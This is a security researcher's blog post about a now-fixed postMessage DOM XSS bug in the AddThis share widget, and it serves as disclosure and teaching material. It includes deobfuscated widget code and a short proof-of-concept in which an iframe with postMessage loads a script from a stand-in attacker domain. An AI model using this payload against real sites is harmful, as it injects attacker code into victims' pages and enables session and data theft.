postMessage XSS on a million sites

black and white image of Mathias Karlsson

Mathias Karlsson

AddThis is a share button used by over a million sites. They were all vulnerable to XSS earlier this year. In my previous post I described the pitfalls of the postMessage API. This post will describe how I identified and exploited them on the AddThis widget.

While testing an application using AddThis I noticed that it used postMessage, by checking the global listeners in Chrome Devtools:

To see if they had fallen into any of the pitfalls, I added a breakpoint to the listener and sent a message to the page using “window.postMessage("hello", "*")":

Examining the listener

The code had no origin check other than that the origin had to be an HTTP/HTTPS page. The expected format of the message could be concluded from line 5364:

at-share-bookmarklet:DATA.

 

I continued the debugger, then sent a message with the correct format, making the code end up on line 5370, calling the “r” function.

The “r” function called another function called “s”:

The “s” function looked interesting, it seemed like it created a new script element (perhaps DOM XSS?):

Unminifying

To understand what the function did, I deobfuscated it by naming the variables and removing multiline statements:

e.exports = function(messageData, t, n, s, u, isTrue) {
   if (!o[messageData] || isTrue) { 
      //isTrue is 1 (true) when this function is called.
      var scriptTag = document.createElement("script");
      if("https:" === window.location.protocol){
         var isSecurePage = true;
      }else{
         var isSecurePage = false;
      }
      var protocol = "";
      var headElement = document.getElementsByTagName("head")[0];
      scriptTag.setAttribute("type", "text/javascript");
      scriptTag.setAttribute("async", "async"); 

      //Check if user is using Chrome/Safari 
   if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ 
      if(isSecurePage){ 
         protocol = "https"; 
      }else{ 
         protocol = "http";
      } 

      //If the message data starts with "//", add protocol before 
      if(0 === messageData.indexOf("//")){ 
         messageData = protocol + messageData; 
      } 
   } 

      //If the message data starts with "//" 
      if(0 === messageData.indexOf("//")){ 
         scriptTag.src = messageData; 
      }else{ 
         scriptTag.src = protocol + "//s7.addthis.com/" + messageData; 
      } 
         headElement.insertBefore(scriptTag, headElement.firstChild); 
         o[messageData] = 1; 
         return scriptTag; 
   } 
   return 1;

Reading the unminified version, I came to the conclusion that sending a message formatted like so:

at-share-bookmarklet://ATTACKERHOST/xss.js

Would add a new script element to the page with the source of “//ATTACKERDOMAIN/xss.js“. In other words, it was vulnerable to DOM XSS.

PoC

An attacker could add scripts to any page using AddThis (DOM XSS). My final exploit looked like this:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe>
<script>
document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

Fix

I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users. The fix added an origin check to make sure that the message would not be sent from any unknown origin.

Conclusion

In short, postMessage can be (and often is) a source for DOM XSS vulnerabilities. If you are using 3rd party scripts, make sure to examine them and their postMessage implementation.

black and white image of Mathias Karlsson

Mathias Karlsson

Security Researcher

Check out more content

Hacking CloudKit – How I accidentally deleted your Apple Shortcuts

CloudKit, the data storage framework by Apple, has various access controls. These access controls could be misconfigured, even by Apple themselves, which affected Apple’s own apps using CloudKit. This blog post explains in detail three bugs found in iCrowd+, Apple News and Apple Shortcuts with different criticality uncovered by Frans Rosen while hacking Cloudkit. All bugs were reported to and fixed by the Apple Security Bounty program.